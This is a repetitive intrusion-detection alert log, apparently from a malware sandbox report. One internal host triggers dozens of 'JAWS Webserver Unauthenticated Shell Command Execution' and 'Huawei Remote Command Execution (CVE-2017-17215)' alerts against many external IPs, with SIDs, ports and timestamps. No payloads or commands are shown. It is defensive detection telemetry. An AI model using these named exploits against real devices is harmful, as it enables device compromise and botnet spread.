ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 51.68.172.27

Timestamp:	192.168.2.2351.68.172.2759208802030092 07/11/22-01:02:34.939358
SID:	2030092
Source Port:	59208
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 82.165.149.29

Timestamp:	192.168.2.2382.165.149.2956836802030092 07/11/22-01:03:06.985259
SID:	2030092
Source Port:	56836
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 95.100.234.172

Timestamp:	192.168.2.2395.100.234.17236566802030092 07/11/22-01:02:34.066269
SID:	2030092
Source Port:	36566
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 13.209.239.123

Timestamp:	192.168.2.2313.209.239.12355250802030092 07/11/22-01:03:24.547760
SID:	2030092
Source Port:	55250
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 216.137.62.84

Timestamp:	192.168.2.23216.137.62.8437264802030092 07/11/22-01:03:37.294187
SID:	2030092
Source Port:	37264
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 154.210.61.217

Timestamp:	192.168.2.23154.210.61.21752612802030092 07/11/22-01:02:27.912092
SID:	2030092
Source Port:	52612
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 180.163.242.75

Timestamp:	192.168.2.23180.163.242.7542136802030092 07/11/22-01:02:51.936185
SID:	2030092
Source Port:	42136
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 95.100.216.124

Timestamp:	192.168.2.2395.100.216.12435704802030092 07/11/22-01:02:51.897707
SID:	2030092
Source Port:	35704
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 2.17.100.215

Timestamp:	192.168.2.232.17.100.21549836802030092 07/11/22-01:04:13.627083
SID:	2030092
Source Port:	49836
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.241.101.25

Timestamp:	192.168.2.23156.241.101.2559334372152835222 07/11/22-01:03:13.747090
SID:	2835222
Source Port:	59334
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 18.196.30.130

Timestamp:	192.168.2.2318.196.30.13043748802030092 07/11/22-01:02:51.791317
SID:	2030092
Source Port:	43748
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.47.143.42

Timestamp:	192.168.2.2323.47.143.4252502802030092 07/11/22-01:03:01.529561
SID:	2030092
Source Port:	52502
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 61.160.224.55

Timestamp:	192.168.2.2361.160.224.5539284802030092 07/11/22-01:03:12.624104
SID:	2030092
Source Port:	39284
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 147.232.40.40

Timestamp:	192.168.2.23147.232.40.4060996802030092 07/11/22-01:03:41.329530
SID:	2030092
Source Port:	60996
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 188.114.80.189

Timestamp:	192.168.2.23188.114.80.18938976802030092 07/11/22-01:03:43.967033
SID:	2030092
Source Port:	38976
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 190.82.154.122

Timestamp:	192.168.2.23190.82.154.12234532802030092 07/11/22-01:03:00.884044
SID:	2030092
Source Port:	34532
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 184.29.3.94

Timestamp:	192.168.2.23184.29.3.9458306802030092 07/11/22-01:03:43.759123
SID:	2030092
Source Port:	58306
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 211.149.228.6

Timestamp:	192.168.2.23211.149.228.644590802030092 07/11/22-01:03:15.700871
SID:	2030092
Source Port:	44590
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.226.110.6

Timestamp:	192.168.2.23156.226.110.655600372152835222 07/11/22-01:02:20.410081
SID:	2835222
Source Port:	55600
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 202.139.212.173

Timestamp:	192.168.2.23202.139.212.17339798802030092 07/11/22-01:03:59.875746
SID:	2030092
Source Port:	39798
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 18.229.159.211

Timestamp:	192.168.2.2318.229.159.21149468802030092 07/11/22-01:02:35.411148
SID:	2030092
Source Port:	49468
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 144.217.53.200

Timestamp:	192.168.2.23144.217.53.20035014802030092 07/11/22-01:03:57.183592
SID:	2030092
Source Port:	35014
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 92.118.70.122

Timestamp:	192.168.2.2392.118.70.12259848802030092 07/11/22-01:02:13.088604
SID:	2030092
Source Port:	59848
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 160.121.20.66

Timestamp:	192.168.2.23160.121.20.6659172802030092 07/11/22-01:02:53.943049
SID:	2030092
Source Port:	59172
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 71.19.144.89

Timestamp:	192.168.2.2371.19.144.8939616802030092 07/11/22-01:04:00.420151
SID:	2030092
Source Port:	39616
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 13.227.115.168

Timestamp:	192.168.2.2313.227.115.16841872802030092 07/11/22-01:02:17.241258
SID:	2030092
Source Port:	41872
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 184.85.27.105

Timestamp:	192.168.2.23184.85.27.10551248802030092 07/11/22-01:03:47.369898
SID:	2030092
Source Port:	51248
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.94.38.97

Timestamp:	192.168.2.23104.94.38.9753882802030092 07/11/22-01:02:21.690131
SID:	2030092
Source Port:	53882
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.65.41.45

Timestamp:	192.168.2.23104.65.41.4559806802030092 07/11/22-01:02:53.866597
SID:	2030092
Source Port:	59806
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 216.189.149.200

Timestamp:	192.168.2.23216.189.149.20036480802030092 07/11/22-01:02:49.082384
SID:	2030092
Source Port:	36480
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 142.92.88.176

Timestamp:	192.168.2.23142.92.88.17651576802030092 07/11/22-01:02:33.599825
SID:	2030092
Source Port:	51576
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 139.162.170.86

Timestamp:	192.168.2.23139.162.170.8633674802030092 07/11/22-01:03:03.956346
SID:	2030092
Source Port:	33674
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 209.91.74.100

Timestamp:	192.168.2.23209.91.74.10056980802030092 07/11/22-01:03:42.199739
SID:	2030092
Source Port:	56980
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 200.186.220.172

Timestamp:	192.168.2.23200.186.220.17248756802030092 07/11/22-01:02:38.500119
SID:	2030092
Source Port:	48756
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 103.179.95.39

Timestamp:	192.168.2.23103.179.95.3941678802030092 07/11/22-01:02:16.343641
SID:	2030092
Source Port:	41678
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.226.127.117

Timestamp:	192.168.2.23156.226.127.11756436372152835222 07/11/22-01:03:03.508459
SID:	2835222
Source Port:	56436
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.0.30.238

Timestamp:	192.168.2.2323.0.30.23840868802030092 07/11/22-01:03:36.733314
SID:	2030092
Source Port:	40868
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 75.119.159.252

Timestamp:	192.168.2.2375.119.159.25241708802030092 07/11/22-01:03:05.818290
SID:	2030092
Source Port:	41708
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 130.211.33.31

Timestamp:	192.168.2.23130.211.33.3149482802030092 07/11/22-01:02:13.689390
SID:	2030092
Source Port:	49482
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.126.114.81

Timestamp:	192.168.2.23104.126.114.8151462802030092 07/11/22-01:03:34.074376
SID:	2030092
Source Port:	51462
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 54.79.18.62

Timestamp:	192.168.2.2354.79.18.6236222802030092 07/11/22-01:03:47.632166
SID:	2030092
Source Port:	36222
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 52.196.26.127

Timestamp:	192.168.2.2352.196.26.12735494802030092 07/11/22-01:04:13.955099
SID:	2030092
Source Port:	35494
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.248.221.100

Timestamp:	192.168.2.2323.248.221.10049406802030092 07/11/22-01:03:34.364947
SID:	2030092
Source Port:	49406
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 43.254.53.19

Timestamp:	192.168.2.2343.254.53.1937134802030092 07/11/22-01:02:31.649314
SID:	2030092
Source Port:	37134
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 156.238.61.54

Timestamp:	192.168.2.23156.238.61.5433620802030092 07/11/22-01:03:50.654166
SID:	2030092
Source Port:	33620
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 154.38.250.133

Timestamp:	192.168.2.23154.38.250.13337196802030092 07/11/22-01:03:58.343915
SID:	2030092
Source Port:	37196
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.240.110.62

Timestamp:	192.168.2.23156.240.110.6244998372152835222 07/11/22-01:03:10.342964
SID:	2835222
Source Port:	44998
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 182.176.104.162

Timestamp:	192.168.2.23182.176.104.16239986802030092 07/11/22-01:03:10.337204
SID:	2030092
Source Port:	39986
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 18.67.86.167

Timestamp:	192.168.2.2318.67.86.16744004802030092 07/11/22-01:02:16.010716
SID:	2030092
Source Port:	44004
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 120.17.246.122

Timestamp:	192.168.2.23120.17.246.12251368802030092 07/11/22-01:02:56.574725
SID:	2030092
Source Port:	51368
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.54.151.148

Timestamp:	192.168.2.2323.54.151.14850992802030092 07/11/22-01:03:34.010599
SID:	2030092
Source Port:	50992
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 27.124.33.101

Timestamp:	192.168.2.2327.124.33.10139222802030092 07/11/22-01:02:57.769908
SID:	2030092
Source Port:	39222
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 58.64.166.168

Timestamp:	192.168.2.2358.64.166.16852606802030092 07/11/22-01:03:27.718440
SID:	2030092
Source Port:	52606
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 156.240.30.243

Timestamp:	192.168.2.23156.240.30.24348548802030092 07/11/22-01:03:15.456008
SID:	2030092
Source Port:	48548
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 123.233.116.233

Timestamp:	192.168.2.23123.233.116.23337134802030092 07/11/22-01:03:58.341097
SID:	2030092
Source Port:	37134
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 13.33.70.93

Timestamp:	192.168.2.2313.33.70.9352494802030092 07/11/22-01:04:00.705384
SID:	2030092
Source Port:	52494
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 18.179.120.1

Timestamp:	192.168.2.2318.179.120.134438802030092 07/11/22-01:03:31.610681
SID:	2030092
Source Port:	34438
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 103.143.55.41

Timestamp:	192.168.2.23103.143.55.4136612802030092 07/11/22-01:03:45.295905
SID:	2030092
Source Port:	36612
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 20.106.29.31

Timestamp:	192.168.2.2320.106.29.3153504802030092 07/11/22-01:04:04.154232
SID:	2030092
Source Port:	53504
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.250.77.232

Timestamp:	192.168.2.23156.250.77.23236758372152835222 07/11/22-01:03:11.858735
SID:	2835222
Source Port:	36758
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 79.164.48.225

Timestamp:	192.168.2.2379.164.48.22554344802030092 07/11/22-01:03:59.668973
SID:	2030092
Source Port:	54344
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 156.233.240.206

Timestamp:	192.168.2.23156.233.240.20650312802030092 07/11/22-01:02:23.421244
SID:	2030092
Source Port:	50312
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 176.78.132.253

Timestamp:	192.168.2.23176.78.132.25355356802030092 07/11/22-01:02:35.031688
SID:	2030092
Source Port:	55356
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 62.171.134.8

Timestamp:	192.168.2.2362.171.134.837524802030092 07/11/22-01:03:20.621479
SID:	2030092
Source Port:	37524
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.244.95.76

Timestamp:	192.168.2.23156.244.95.7646918372152835222 07/11/22-01:03:17.091298
SID:	2835222
Source Port:	46918
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.203.98.142

Timestamp:	192.168.2.2323.203.98.14256536802030092 07/11/22-01:03:51.164103
SID:	2030092
Source Port:	56536
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 54.152.29.171

Timestamp:	192.168.2.2354.152.29.17150596802030092 07/11/22-01:03:55.151815
SID:	2030092
Source Port:	50596
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 41.210.132.238

Timestamp:	192.168.2.2341.210.132.23849960802030092 07/11/22-01:03:47.260550
SID:	2030092
Source Port:	49960
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 89.43.77.72

Timestamp:	192.168.2.2389.43.77.7257516802030092 07/11/22-01:03:34.048754
SID:	2030092
Source Port:	57516
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.57.2.176

Timestamp:	192.168.2.2323.57.2.17648338802030092 07/11/22-01:02:46.161493
SID:	2030092
Source Port:	48338
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 156.244.122.129

Timestamp:	192.168.2.23156.244.122.12942982802030092 07/11/22-01:04:14.575080
SID:	2030092
Source Port:	42982
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 20.124.59.210

Timestamp:	192.168.2.2320.124.59.21040212802030092 07/11/22-01:02:54.135766
SID:	2030092
Source Port:	40212
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 156.233.253.243

Timestamp:	192.168.2.23156.233.253.24354556802030092 07/11/22-01:03:53.460452
SID:	2030092
Source Port:	54556
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.240.104.246

Timestamp:	192.168.2.23156.240.104.24644404372152835222 07/11/22-01:03:11.870174
SID:	2835222
Source Port:	44404
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.254.54.185

Timestamp:	192.168.2.23156.254.54.18559268372152835222 07/11/22-01:02:15.053733
SID:	2835222
Source Port:	59268
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.127.38.19

Timestamp:	192.168.2.23104.127.38.1934614802030092 07/11/22-01:03:53.131140
SID:	2030092
Source Port:	34614
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 88.209.100.117

Timestamp:	192.168.2.2388.209.100.11739604802030092 07/11/22-01:03:59.647575
SID:	2030092
Source Port:	39604
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 150.95.247.169

Timestamp:	192.168.2.23150.95.247.16941376802030092 07/11/22-01:02:33.752490
SID:	2030092
Source Port:	41376
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 120.232.191.123

Timestamp:	192.168.2.23120.232.191.12355506802030092 07/11/22-01:02:35.658894
SID:	2030092
Source Port:	55506
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 64.13.197.194

Timestamp:	192.168.2.2364.13.197.19450522802030092 07/11/22-01:02:51.893865
SID:	2030092
Source Port:	50522
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 18.165.208.247

Timestamp:	192.168.2.2318.165.208.24752110802030092 07/11/22-01:03:12.378791
SID:	2030092
Source Port:	52110
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 189.193.60.190

Timestamp:	192.168.2.23189.193.60.19060160802030092 07/11/22-01:03:50.523148
SID:	2030092
Source Port:	60160
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 208.113.230.8

Timestamp:	192.168.2.23208.113.230.855934802030092 07/11/22-01:04:03.993607
SID:	2030092
Source Port:	55934
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 52.85.214.245

Timestamp:	192.168.2.2352.85.214.24557118802030092 07/11/22-01:02:32.382139
SID:	2030092
Source Port:	57118
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 154.197.241.165

Timestamp:	192.168.2.23154.197.241.16537028802030092 07/11/22-01:02:56.083906
SID:	2030092
Source Port:	37028
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 173.244.200.166

Timestamp:	192.168.2.23173.244.200.16637958802030092 07/11/22-01:03:44.342267
SID:	2030092
Source Port:	37958
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.226.54.108

Timestamp:	192.168.2.23156.226.54.10835550372152835222 07/11/22-01:03:35.792070
SID:	2835222
Source Port:	35550
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 78.107.212.136

Timestamp:	192.168.2.2378.107.212.13654774802030092 07/11/22-01:03:26.869696
SID:	2030092
Source Port:	54774
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 34.133.52.252

Timestamp:	192.168.2.2334.133.52.25245964802030092 07/11/22-01:02:25.415806
SID:	2030092
Source Port:	45964
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 108.138.19.99

Timestamp:	192.168.2.23108.138.19.9954970802030092 07/11/22-01:02:16.151173
SID:	2030092
Source Port:	54970
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 176.9.167.147

Timestamp:	192.168.2.23176.9.167.14749012802030092 07/11/22-01:02:33.502619
SID:	2030092
Source Port:	49012
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 54.221.143.24

Timestamp:	192.168.2.2354.221.143.2447352802030092 07/11/22-01:02:35.201437
SID:	2030092
Source Port:	47352
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 220.135.223.21

Timestamp:	192.168.2.23220.135.223.2151698802030092 07/11/22-01:03:27.470741
SID:	2030092
Source Port:	51698
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 216.197.114.155

Timestamp:	192.168.2.23216.197.114.15558644802030092 07/11/22-01:03:27.068863
SID:	2030092
Source Port:	58644
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 45.32.95.244

Timestamp:	192.168.2.2345.32.95.24439450802030092 07/11/22-01:03:06.882498
SID:	2030092
Source Port:	39450
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 38.140.13.146

Timestamp:	192.168.2.2338.140.13.14653124802030092 07/11/22-01:02:57.673418
SID:	2030092
Source Port:	53124
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 20.70.250.22

Timestamp:	192.168.2.2320.70.250.2260556802030092 07/11/22-01:03:24.575397
SID:	2030092
Source Port:	60556
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

